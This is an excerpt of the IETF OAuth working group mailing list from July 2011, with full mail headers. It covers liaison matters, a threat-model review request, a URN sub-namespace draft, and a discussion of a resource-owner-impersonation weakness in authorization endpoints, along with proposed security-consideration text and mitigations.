underlies al= l the others. So it is a glaring hole that OAuth2 fails to tell the client = who the intended parties are when issuing a bearer token. -- James Manger From sm@resistor.net Thu Jul 28 23:41:49 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 37B7A11E808E for ; Thu, 28 Jul 2011 23:41:49 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.599 X-Spam-Level: X-Spam-Status: No, score=-102.599 tagged_above=-999 required=5 tests=[AWL=0.000, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ysecv02+xDaL for ; Thu, 28 Jul 2011 23:41:47 -0700 (PDT) Received: from mx.ipv6.elandsys.com (mx.ipv6.elandsys.com [IPv6:2001:470:f329:1::1]) by ietfa.amsl.com (Postfix) with ESMTP id CE60F11E8075 for ; Thu, 28 Jul 2011 23:41:46 -0700 (PDT) Received: from sm-THINK.resistor.net (IDENT:sm@localhost [127.0.0.1]) by mx.elandsys.com (8.14.4/8.14.5.Beta0) with ESMTP id p6T6fdKY027351; Thu, 28 Jul 2011 23:41:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=opendkim.org; s=mail2010; t=1311921702; bh=7afH0VGHnQgSyaW575nhRXLCXdhx4NO7RNIQCprKSXM=; h=Message-Id:Date:To:From:Subject:Cc:In-Reply-To:References: Mime-Version:Content-Type; b=VeR93rQMc/EgHHYYyErp1AAIcRHGcMTDZa3wDZGs7E+acCB4HNrpwB9zP2NVgTyRt 8qguqBvWqCslyoQNSK0pfZka9FTIBZWEAiyaFNhkuY61vDFPU9qBUqEdi+mYz9bkTV OldS99IlrbTXzO+t7btHErtiR5Mkxag5tzODVVRE= DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=resistor.net; s=mail; t=1311921702; bh=7afH0VGHnQgSyaW575nhRXLCXdhx4NO7RNIQCprKSXM=; h=Message-Id:Date:To:From:Subject:Cc:In-Reply-To:References: Mime-Version:Content-Type; b=eYVS5xLRzG+6yY4U125YvomCGxJs2TG/LCa2xjFKpyRn0Uc89ML7vXc+L3QxrjyJb kHWDxC6M+MJAoFgNG7NPav/1CDawaCHtM1IUwZN6NALMH6xsrqhbPfg3feMb1f6nvu iVOgy4xS7+c9yzjrDSL7gsnuHTlIRyYnU40F/ZCY= Message-Id: <6.2.5.6.2.20110728233827.04cdb120@resistor.net> X-Mailer: QUALCOMM Windows Eudora Version 6.2.5.6 Date: Thu, 28 Jul 2011 23:41:11 -0700 To: igor.faynberg@alcatel-lucent.com From: SM In-Reply-To: <4E27BB99.3000304@alcatel-lucent.com> References: <4E0E39EA.7040809@lodderstedt.net> <4E0E41C9.3090608@alcatel-lucent.com> <4E27BB99.3000304@alcatel-lucent.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] OMA Liaison Has Arrived! [ was Re: Deutsche Telekom launched OAuth 2.0 support] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 06:41:49 -0000 Hi Igor, At 10:39 PM 7/20/2011, Igor Faynberg wrote: >the communication can emanate directly from them or IAB can >appoint a liaison to OMA, who will convey future >communications. But this is a procedural matter, and I am sure it Murray Kucherawy was appointed as liaison to the Open Mobile Alliance in May 2010 (see http://www.ietf.org/mail-archive/web/ietf-announce/current/msg07457.html ). Regards, -sm From torsten@lodderstedt.net Fri Jul 29 06:15:32 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 03C3321F84C8 for ; Fri, 29 Jul 2011 06:15:32 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.131 X-Spam-Level: X-Spam-Status: No, score=-2.131 tagged_above=-999 required=5 tests=[AWL=0.118, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id gYWNg5b0DEXz for ; Fri, 29 Jul 2011 06:15:31 -0700 (PDT) Received: from smtprelay05.ispgateway.de (smtprelay05.ispgateway.de [80.67.31.97]) by ietfa.amsl.com (Postfix) with ESMTP id 7789021F84BF for ; Fri, 29 Jul 2011 06:15:31 -0700 (PDT) Received: from [130.129.17.214] by smtprelay05.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QmmuX-0001aX-Ey for oauth@ietf.org; Fri, 29 Jul 2011 15:15:29 +0200 Message-ID: <4E32B270.8070109@lodderstedt.net> Date: Fri, 29 Jul 2011 09:15:28 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: OAuth WG Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: [OAUTH-WG] Please review security document section 5 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 13:15:32 -0000 Hi all, we would like to bring this document forward as an informational RFC and would like to put it on WGLC soon. In preparation we plan to publish another revision. Although we got considerable feedback so far, we feel that especially section 5 could benefit from additional reviews. So we ask you to give http://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 a read and post comments to the list. thanks in advance, Torsten. From torsten@lodderstedt.net Fri Jul 29 06:32:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AF17621F8B8D for ; Fri, 29 Jul 2011 06:32:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.14 X-Spam-Level: X-Spam-Status: No, score=-2.14 tagged_above=-999 required=5 tests=[AWL=0.109, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id VUHw2Yrka2cm for ; Fri, 29 Jul 2011 06:32:29 -0700 (PDT) Received: from smtprelay04.ispgateway.de (smtprelay04.ispgateway.de [80.67.18.16]) by ietfa.amsl.com (Postfix) with ESMTP id AEEAB21F8B21 for ; Fri, 29 Jul 2011 06:32:28 -0700 (PDT) Received: from [130.129.17.214] by smtprelay04.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QmnAv-0002tj-SB; Fri, 29 Jul 2011 15:32:26 +0200 Message-ID: <4E32B668.1030800@lodderstedt.net> Date: Fri, 29 Jul 2011 09:32:24 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Niv Steingarten References: <90C41DD21FB7C64BB94121FBBC2E723450245F58E6@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2DF7D5.8090701@lodderstedt.net> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Cc: OAuth WG Subject: Re: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 13:32:29 -0000 I think this threat is similar to clickjacking (http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-10.13). Could we incorporate it into this section (w/o delaying the spec's release process)? regards, Torsten. Am 26.07.2011 19:29, schrieb Niv Steingarten: > Would it be possible to consider adding this to the list of security > considerations? > Of course, the spec cannot cover all possible security threats, but > this appears to be a realistic one which could easily be exploited if > overlooked by developers (evident in the lack of scraping defense > mechanisms in many applications). > Is it too late to make such an amendment to the draft? > > Thank you, > Niv > > > On Tue, Jul 26, 2011 at 02:40, Niv Steingarten wrote: >> Yes, I believe the vast majority of user-agents would block this kind >> of request if it originated from a JavaScript XMLHttpRequest or such. >> However, there are still scenarios in which a user-agent based client >> could manipulate this vulnerability. >> >> For example, the client could launch the GET request to the >> authorization server via an HTML tag, taking the form of a CSRF. >> Since it's a blind attack, the client would likely not receive the >> contents of the web-page. However, this request is still necessary >> from the client since it has the side-effect of creating an access >> token (or other temporary token) on the authorization server. Since it >> is highly likely that a malicious client has a priori knowledge of the >> structure of the authorization page and form, it does not need the >> response in order to advance to the next step, and can simply send the >> fake request to 'Allow' itself to access the resource owner's >> resources. >> >> I believe this attack could be made very hard by either including a >> CAPTCHA, as you suggested, or including some kind of token or nonce in >> the submission of the form (which would still not prevent the attack >> if the authorization server doesn't enforce same origin policy). >> >> Niv >> >> >> >> On Tue, Jul 26, 2011 at 02:10, Torsten Lodderstedt >> wrote: >>> Hi Niv, >>> >>> thank you for posting this to the list. I think you are right with your threat description. One question: shouldn't the browser already prevent the request to the authorization endpoint because of the same origin policy (or CORS restrictions)? >>> >>> Apart from that, a similar attack can be performed by a native applicication (using an embedded browser). This kind of attack could not be prevented using HTTP features but by enforcing a real user interaction (password input, CAPTCHA). >>> >>> regards, >>> Torsten. >>> >>> Am 25.07.2011 18:27, schrieb Niv Steingarten: >>> >>> Forwarded as per Eran's request. >>> A couple of corrections to my original email: >>> 1. By AJAX, I mean, AJAX like techniques (if the user agent does not enforce same origin policy). >>> 2. When saying POST to '/authorize_callback' -- it may well be GET, if the authorization server mishandles the request. >>> Thank you, >>> Niv >>> >>> >>> ---------- Forwarded message ---------- >>> From: Eran Hammer-Lahav >>> Date: Tue, Jul 26, 2011 at 01:21 >>> Subject: RE: Several typos in -20 and a possible security consideration >>> To: Niv Steingarten >>> >>> >>> Please forward this message to the oauth list at oauth@ieft.org. >>> >>> >>> >>> Thanks, >>> >>> >>> >>> EHL >>> >>> >>> >>> From: Niv Steingarten [mailto:nivstein@gmail.com] >>> Sent: Monday, July 25, 2011 2:52 PM >>> To: draft-ietf-oauth-v2@tools.ietf.org >>> Subject: Several typos in -20 and a possible security consideration >>> >>> >>> >>> Hello, >>> >>> >>> >>> I've noticed a couple of typos in -20: >>> >>> >>> >>> Section 6 (page 41): Under 'The authorization server MUST', the second bullet should end with the word "and", and the third bullet should end with a full-stop. >>> >>> Section 10.2 (first paragraph): "...keep is client credentials confidential" should be "...keep *its* client credentials confidential". >>> >>> >>> >>> Regarding the security consideration -- >>> >>> >>> >>> I might be missing something, but I saw there are references to clickjacking and to client impersonation, but I haven't seen any reference to possible resource owner impersonation. >>> >>> For example, in the implicit grant flow, a malicious client could send a request to the authorization endpoint via, say, AJAX, and receive the markup of the page asking the resource owner to authorize the client (assuming the resource owner is signed in and no resource owner authentication is required). Then, in a poorly designed authorization endpoint, the 'Allow' button might be the submission button of a form whose target is '/authorize_callback' on the authz server. Then, it may possible for the malicious client to simply POST to '/authorize_callback' and authorize itself without any resource owner intervention or knowledge that the process has even taken place. This, of course, can be mitigated in most modern browsers if the authorization server verifies the source of the request using the HTTP referrer header. >>> >>> >>> >>> Thanks for your time and for the fantastic work on OAuth, >>> >>> >>> >>> -- >>> >>> Niv Steingarten >>> >>> >>> >>> T: >>> >>> E: nivstein@gmail.com >>> >>> W: http://nivstein.com >>> >>> >>> >>> >>> -- >>> Niv Steingarten >>> T: >>> E: nivstein@gmail.com >>> W: http://nivstein.com >>> >>> _______________________________________________ >>> OAuth mailing list >>> OAuth@ietf.org >>> https://www.ietf.org/mailman/listinfo/oauth From hannes.tschofenig@gmx.net Fri Jul 29 07:13:54 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7C12621F8C2F for ; Fri, 29 Jul 2011 07:13:54 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.583 X-Spam-Level: X-Spam-Status: No, score=-102.583 tagged_above=-999 required=5 tests=[AWL=0.016, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id KgUHt33mhf3W for ; Fri, 29 Jul 2011 07:13:54 -0700 (PDT) Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.22]) by ietfa.amsl.com (Postfix) with SMTP id 7CF1621F8C2C for ; Fri, 29 Jul 2011 07:13:53 -0700 (PDT) Received: (qmail invoked by alias); 29 Jul 2011 14:13:51 -0000 Received: from dhcp-172b.meeting.ietf.org (EHLO dhcp-172b.meeting.ietf.org) [130.129.23.43] by mail.gmx.net (mp068) with SMTP; 29 Jul 2011 16:13:51 +0200 X-Authenticated: #29516787 X-Provags-ID: V01U2FsdGVkX18fdf8RysEfhVOa9B3rrPvuWzQzCY2RHqUXoY/XEL LEG9GvDrzK9m8h Mime-Version: 1.0 (Apple Message framework v1084) Content-Type: text/plain; charset=us-ascii From: Hannes Tschofenig In-Reply-To: <6.2.5.6.2.20110728233827.04cdb120@resistor.net> Date: Fri, 29 Jul 2011 08:57:33 -0400 Content-Transfer-Encoding: quoted-printable Message-Id: <904D0C17-BFB3-4648-B829-B446F3C97982@gmx.net> References: <4E0E39EA.7040809@lodderstedt.net> <4E0E41C9.3090608@alcatel-lucent.com> <4E27BB99.3000304@alcatel-lucent.com> <6.2.5.6.2.20110728233827.04cdb120@resistor.net> To: SM X-Mailer: Apple Mail (2.1084) X-Y-GMX-Trusted: 0 Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] OMA Liaison Has Arrived! [ was Re: Deutsche Telekom launched OAuth 2.0 support] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 14:13:54 -0000 That's correct. Murray is the liaison and he will provide the response = of the liaison to the OMA.=20 I am the liaison shepherd from the Internet Architecture Board.=20 On Jul 29, 2011, at 2:41 AM, SM wrote: > Hi Igor, > At 10:39 PM 7/20/2011, Igor Faynberg wrote: >> the communication can emanate directly from them or IAB can appoint = a liaison to OMA, who will convey future communications. But this is a = procedural matter, and I am sure it >=20 > Murray Kucherawy was appointed as liaison to the Open Mobile Alliance = in May 2010 (see = http://www.ietf.org/mail-archive/web/ietf-announce/current/msg07457.html = ). >=20 > Regards, > -sm=20 > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From bcampbell@pingidentity.com Fri Jul 29 12:08:15 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 521A311E8082 for ; Fri, 29 Jul 2011 12:08:15 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.958 X-Spam-Level: X-Spam-Status: No, score=-5.958 tagged_above=-999 required=5 tests=[AWL=0.019, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 40dUtKQRI9Wy for ; Fri, 29 Jul 2011 12:08:14 -0700 (PDT) Received: from na3sys009aog109.obsmtp.com (na3sys009aog109.obsmtp.com [74.125.149.201]) by ietfa.amsl.com (Postfix) with ESMTP id 68A2821F8794 for ; Fri, 29 Jul 2011 12:08:14 -0700 (PDT) Received: from mail-qy0-f175.google.com ([209.85.216.175]) (using TLSv1) by na3sys009aob109.postini.com ([74.125.148.12]) with SMTP ID DSNKTjMFHXH1qMTLyPUknpxQJgGgbLuZJUc+@postini.com; Fri, 29 Jul 2011 12:08:14 PDT Received: by mail-qy0-f175.google.com with SMTP id 30so25487qyk.6 for ; Fri, 29 Jul 2011 12:08:13 -0700 (PDT) Received: by 10.224.211.197 with SMTP id gp5mr1316259qab.293.1311966493097; Fri, 29 Jul 2011 12:08:13 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Fri, 29 Jul 2011 12:07:43 -0700 (PDT) In-Reply-To: References: <20110729184136.5836.39491.idtracker@ietfa.amsl.com> From: Brian Campbell Date: Fri, 29 Jul 2011 13:07:43 -0600 Message-ID: To: oauth , Barry Leiba , Hannes Tschofenig , Blaine Cook Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: [OAUTH-WG] Fwd: New Version Notification for draft-campbell-oauth-urn-sub-ns-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 19:08:15 -0000 Following up from http://www.ietf.org/mail-archive/web/oauth/current/msg06949.html a few weeks ago, I've submitted a new I-D to establish an IETF URN Sub-Namespace for OAuth (urn:ietf:params:oauth:*:*). Eran balked at putting this in the core spec so it made sense to produce a separate draft for it. I'd like to request from the group and the chairs that this draft become a work item of the WG as soon as possible. The SAML draft will utilize this to register a proper URN for the extension grant type and presumably the JWT draft will as well. Hopefully it will be useful in other contexts as well (like the oob parameter that has been discussed). The draft is available at: http://tools.ietf.org/html/draft-campbell-oauth-urn-sub-ns-00 Because Hannes originally wrote all the content, I've listed him as an author. Let me know if that's not appropriate. Thanks, Brian ---------- Forwarded message ---------- From: Date: Fri, Jul 29, 2011 at 12:41 PM Subject: New Version Notification for draft-campbell-oauth-urn-sub-ns-00.tx= t To: brian.d.campbell@gmail.com Cc: hannes.tschofenig@gmx.net, brian.d.campbell@gmail.com A new version of I-D, draft-campbell-oauth-urn-sub-ns-00.txt has been successfully submitted by Brian Campbell and posted to the IETF repository. Filename: =A0 =A0 =A0 =A0draft-campbell-oauth-urn-sub-ns Revision: =A0 =A0 =A0 =A000 Title: =A0 =A0 =A0 =A0 =A0 An IETF URN Sub-Namespace for OAuth Creation date: =A0 2011-07-29 WG ID: =A0 =A0 =A0 =A0 =A0 Individual Submission Number of pages: 5 Abstract: =A0 This document creates and registers an IETF URN Sub-namespace for use =A0 with OAuth related specifications. The IETF Secretariat From nivstein@gmail.com Fri Jul 29 13:12:47 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6EF2322800F for ; Fri, 29 Jul 2011 13:12:47 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.55 X-Spam-Level: X-Spam-Status: No, score=-3.55 tagged_above=-999 required=5 tests=[AWL=0.050, BAYES_00=-2.599, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id LrK1IhKRiuXk for ; Fri, 29 Jul 2011 13:12:46 -0700 (PDT) Received: from mail-vw0-f44.google.com (mail-vw0-f44.google.com [209.85.212.44]) by ietfa.amsl.com (Postfix) with ESMTP id 32D0011E808D for ; Fri, 29 Jul 2011 13:12:46 -0700 (PDT) Received: by vws12 with SMTP id 12so3729056vws.31 for ; Fri, 29 Jul 2011 13:12:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=DGdKJvCV6bUIpNY0sS+Q+6NIgnBoddZd0iDgJT1afcA=; b=qpEDgCKDz+WfK1JfXi5hpwTPkpYXFmCOmWRbDMln95MAu03jR/D5CkLUQQ8Uje/k2i 5XGdqWJULC3U3U5YqjwQ7luoFY7BD5VPF8EYgejC+manevFoC9b/ulhnDUYcdkaOMMsj nO1bnKIesMEfDK0sFICQL2qayUs6lpcBLReMo= Received: by 10.52.76.170 with SMTP id l10mr1951137vdw.77.1311970364054; Fri, 29 Jul 2011 13:12:44 -0700 (PDT) MIME-Version: 1.0 Received: by 10.52.111.196 with HTTP; Fri, 29 Jul 2011 13:12:24 -0700 (PDT) In-Reply-To: <4E32B668.1030800@lodderstedt.net> References: <90C41DD21FB7C64BB94121FBBC2E723450245F58E6@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2DF7D5.8090701@lodderstedt.net> <4E32B668.1030800@lodderstedt.net> From: Niv Steingarten Date: Fri, 29 Jul 2011 23:12:24 +0300 Message-ID: To: Torsten Lodderstedt Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: OAuth WG Subject: Re: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 20:12:47 -0000 I think it is intuitively similar to clickjacking, but the actual exploit methods and countermeasures are different (iframes vs. request spoofing, external browsers vs. nonce). It actually bears similarities to CSRF, only from the authorization server's point of view. I've taken the liberty to come up with a text (a mere proposal, of course, as I am no expert in writing technical specifications; feedback would be greatly appreciated.) I think it may be serious enough to justify its own section, but it may be possible to incorporate it into existing sections, as Torsten proposed, with some editing. --------- 10.X. Resource Owner Impersonation When a client requests access to protected resources, the authorization flow normally involves the resource owner's explicit response to the access request, either granting or denying access to the protected resources. A malicious client can exploit knowledge of the structure of this flow in order to gain authorization without the resource owner's consent, by transmitting the necessary requests via the user-agent, and simulating the flow against the authorization server. It is RECOMMENDED that the authorization server takes measures to ensure that the authorization flow cannot be easily simulated using a trusted user-agent. For example, the authorization server may use the HTTP referrer header to verify the source of requests associated with the authorization flow, or make use of a non-guessable nonce which is transmitted in the hypertext and is not accessible by the client. --------- The text above deals with the case of trusted user-agents (thus covering user-agent-based clients), as I don't know if anything can be done if a native client goes as far as using its own untrusted user-agent. Thank you, Niv On Fri, Jul 29, 2011 at 16:32, Torsten Lodderstedt wrote: > I think this threat is similar to clickjacking > (http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-10.13). > > Could we incorporate it into this section (w/o delaying the spec's releas= e > process)? > > regards, > Torsten. > > Am 26.07.2011 19:29, schrieb Niv Steingarten: >> >> Would it be possible to consider adding this to the list of security >> considerations? >> Of course, the spec cannot cover all possible security threats, but >> this appears to be a realistic one which could easily be exploited if >> overlooked by developers (evident in the lack of scraping defense >> mechanisms in many applications). >> Is it too late to make such an amendment to the draft? >> >> Thank you, >> Niv >> >> >> On Tue, Jul 26, 2011 at 02:40, Niv Steingarten =C2= =A0wrote: >>> >>> Yes, I believe the vast majority of user-agents would block this kind >>> of request if it originated from a JavaScript XMLHttpRequest or such. >>> However, there are still scenarios in which a user-agent based client >>> could manipulate this vulnerability. >>> >>> For example, the client could launch the GET request to the >>> authorization server via an =C2=A0HTML tag, taking the form of a C= SRF. >>> Since it's a blind attack, the client would likely not receive the >>> contents of the web-page. However, this request is still necessary >>> from the client since it has the side-effect of creating an access >>> token (or other temporary token) on the authorization server. Since it >>> is highly likely that a malicious client has a priori knowledge of the >>> structure of the authorization page and form, it does not need the >>> response in order to advance to the next step, and can simply send the >>> fake request to 'Allow' itself to access the resource owner's >>> resources. >>> >>> I believe this attack could be made very hard by either including a >>> CAPTCHA, as you suggested, or including some kind of token or nonce in >>> the submission of the form (which would still not prevent the attack >>> if the authorization server doesn't enforce same origin policy). >>> >>> Niv >>> >>> >>> >>> On Tue, Jul 26, 2011 at 02:10, Torsten Lodderstedt >>> =C2=A0wrote: >>>> >>>> Hi Niv, >>>> >>>> thank you for posting this to the list. I think you are right with you= r >>>> threat description. One question: shouldn't the browser already preven= t the >>>> request to the authorization endpoint because of the same origin polic= y (or >>>> CORS restrictions)? >>>> >>>> Apart from that, a similar attack can be performed by a native >>>> applicication (using an embedded browser). This kind of attack could n= ot be >>>> prevented using HTTP features but by enforcing a real user interaction >>>> (password input, CAPTCHA). >>>> >>>> regards, >>>> Torsten. >>>> >>>> Am 25.07.2011 18:27, schrieb Niv Steingarten: >>>> >>>> Forwarded as per Eran's request. >>>> A couple of corrections to my original email: >>>> 1. By AJAX, I mean, AJAX like techniques (if the user agent does not >>>> enforce same origin policy). >>>> 2. When saying POST to '/authorize_callback' -- it may well be GET, if >>>> the authorization server mishandles the request. >>>> Thank you, >>>> Niv >>>> >>>> >>>> ---------- Forwarded message ---------- >>>> From: Eran Hammer-Lahav >>>> Date: Tue, Jul 26, 2011 at 01:21 >>>> Subject: RE: Several typos in -20 and a possible security consideratio= n >>>> To: Niv Steingarten >>>> >>>> >>>> Please forward this message to the oauth list at oauth@ieft.org. >>>> >>>> >>>> >>>> Thanks, >>>> >>>> >>>> >>>> EHL >>>> >>>> >>>> >>>> From: Niv Steingarten [mailto:nivstein@gmail.com] >>>> Sent: Monday, July 25, 2011 2:52 PM >>>> To: draft-ietf-oauth-v2@tools.ietf.org >>>> Subject: Several typos in -20 and a possible security consideration >>>> >>>> >>>> >>>> Hello, >>>> >>>> >>>> >>>> I've noticed a couple of typos in -20: >>>> >>>> >>>> >>>> Section 6 (page 41): Under 'The authorization server MUST', the second >>>> bullet should end with the word "and", and the third bullet should end= with >>>> a full-stop. >>>> >>>> Section 10.2 (first paragraph): "...keep is client credentials >>>> confidential" should be "...keep *its* client credentials confidential= ". >>>> >>>> >>>> >>>> Regarding the security consideration -- >>>> >>>> >>>> >>>> I might be missing something, but I saw there are references to >>>> clickjacking and to client impersonation, but I haven't seen any refer= ence >>>> to possible resource owner impersonation. >>>> >>>> For example, in the implicit grant flow, a malicious client could send= a >>>> request to the authorization endpoint via, say, AJAX, and receive the = markup >>>> of the page asking the resource owner to authorize the client (assumin= g the >>>> resource owner is signed in and no resource owner authentication is >>>> required). Then, in a poorly designed authorization endpoint, the 'All= ow' >>>> button might be the submission button of a form whose target is >>>> '/authorize_callback' on the authz server. Then, it may possible for t= he >>>> malicious client to simply POST to '/authorize_callback' and authorize >>>> itself without any resource owner intervention or knowledge that the p= rocess >>>> has even taken place. This, of course, can be mitigated in most modern >>>> browsers if the authorization server verifies the source of the reques= t >>>> using the HTTP referrer header. >>>> >>>> >>>> >>>> Thanks for your time and for the fantastic work on OAuth, >>>> >>>> >>>> >>>> -- >>>> >>>> Niv Steingarten >>>> >>>> >>>> >>>> E: =C2=A0nivstein@gmail.com >>>> >>>> W: http://nivstein.com >>>> >>>> >>>> >>>> >>>> -- >>>> Niv Steingarten >>>> E: =C2=A0nivstein@gmail.com >>>> W: http://nivstein.com >>>> >>>> _______________________________________________ >>>> OAuth mailing list >>>> OAuth@ietf.org >>>> https://www.ietf.org/mailman/listinfo/oauth > From eran@hueniverse.com Fri Jul 29 13:46:05 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4ED1221F8B0A for ; Fri, 29 Jul 2011 13:46:05 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.561 X-Spam-Level: X-Spam-Status: No, score=-2.561 tagged_above=-999 required=5 tests=[AWL=0.038, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 2o1SLOzUdH3y for ; Fri, 29 Jul 2011 13:46:00 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 9A3ED21F8AF1 for ; Fri, 29 Jul 2011 13:46:00 -0700 (PDT) Received: (qmail 29997 invoked from network); 29 Jul 2011 20:46:00 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 29 Jul 2011 20:45:59 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Fri, 29 Jul 2011 13:45:53 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Fri, 29 Jul 2011 13:45:48 -0700 Thread-Topic: [OAUTH-WG] Fwd: New Version Notification for draft-campbell-oauth-urn-sub-ns-00.txt Thread-Index: AcxOMIH3ZigFK9S5RHCJugHyJUnfPQ== Message-ID: References: <20110729184136.5836.39491.idtracker@ietfa.amsl.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" 